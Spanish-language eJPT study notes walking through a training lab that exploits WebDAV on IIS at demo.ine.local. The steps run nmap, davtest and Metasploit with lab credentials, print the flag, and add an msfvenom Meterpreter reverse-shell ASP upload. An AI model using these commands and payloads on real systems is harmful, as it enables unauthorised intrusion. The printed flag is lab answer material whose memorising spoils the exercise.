> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/ataques-basados-en-sistema-host/windows/explotacion-de-vulnerabilidades-de-windows/explotacion-de-webdav-con-metasploit.md).

# Explotación de WebDAV con Metasploit

## <sup>🧪 Laboratorio Práctico</sup>

#### **Paso 1: Abre el enlace del laboratorio para acceder a la máquina Kali.**

<figure><img src="/files/cUMYzw0lsAhoDfY4pk6O" alt=""><figcaption></figcaption></figure>

***

#### **Paso 2: Ejecuta un escaneo Nmap contra el objetivo.**

**Comando:**

```bash
nmap demo.ine.local
```

<figure><img src="/files/dcmll3BheauBOHi7lZ6k" alt=""><figcaption></figcaption></figure>

#### **Paso 3: Hemos descubierto que múltiples puertos están abiertos. Nos enfocaremos en el puerto 80 donde se ejecuta el servidor IIS.**

Ejecutamos el script `http-enum` de Nmap para descubrir directorios interesantes.

**Comando:**

```bash
nmap --script http-enum -sV -p 80 demo.ine.local
```

<figure><img src="/files/IeWZ3yL4253Ptbd1H60k" alt=""><figcaption></figcaption></figure>

Hemos encontrado el directorio `/webdav`, el cual devuelve un error 401, es decir, “No autorizado”.

> **Nota:** Si el script `http-enum` tarda más de lo esperado, puedes usar la herramienta `dirb` para encontrar el directorio `/webdav`.

**Comando alternativo:**

```bash
dirb demo.ine.local
```

***

#### **Paso 4: Ejecutamos la herramienta `davtest`.**

**Comando:**

```bash
davtest -url http://demo.ine.local/webdav
```

<figure><img src="/files/X7PbSsb5h0i4y6Z429bs" alt=""><figcaption></figcaption></figure>

Podemos notar que la ruta `/webdav` está protegida con autenticación básica. Tenemos las credenciales para acceder: `bob:password_123321`.

**Comando:**

```bash
davtest -auth bob:password_123321 -url http://demo.ine.local/webdav
```

<figure><img src="/files/KpuK0BS1Qyls8CXhkv7O" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/PpQjzMShF0vkKS2S5vg5" alt=""><figcaption></figcaption></figure>

Observamos que se han subido casi todos los tipos de archivos importantes al directorio `/webdav`. Además, podemos ejecutar archivos `.asp`, `.txt` y `.html`.

***

#### **Paso 5: Ejecutamos Metasploit Framework y explotamos el objetivo usando el módulo de WebDAV en IIS.**

**Comandos:**

```bash
msfconsole -q
use exploit/windows/iis/iis_webdav_upload_asp
set RHOSTS demo.ine.local
set HttpUsername bob
set HttpPassword password_123321
set PATH /webdav/metasploit%RAND%.asp
exploit
```

<figure><img src="/files/PaWAtf9zrT9gDh76UUov" alt=""><figcaption></figcaption></figure>

**Paso 6: Leemos la flag.**

Revisamos el contenido del disco C:

**Comandos dentro de la sesión de shell:**

```bash
shell
cd /
dir
type flag.txt
```

<figure><img src="/files/wlxgKhT1J0zbtkARt4W1" alt=""><figcaption></figcaption></figure>

Esto nos revela la flag.

**Flag:**\
`d3aff16a801b4b7d36b4da1094bee345`

***

#### **Conclusión**

En este laboratorio vimos cómo un servicio WebDAV puede ser explotado usando herramientas como el **framework Metasploit**.

***

### 💣 Alternativa: Subir payload Meterpreter

1. **Crear el payload**

```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<tu IP> LPORT=4444 -f asp > shell.asp
```

2. **Subir el payload con cadaver**

```bash
cadaver http://<ip>/webdav/
put shell.asp
```

3. **Iniciar handler en Metasploit**

```bash
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <tu IP>
set LPORT 4444
run
```

4. **Acceder al payload desde navegador o curl**

```bash
http://<IP>/shell.asp
```

🧠 Si todo está bien, obtendrás una sesión **Meterpreter**.
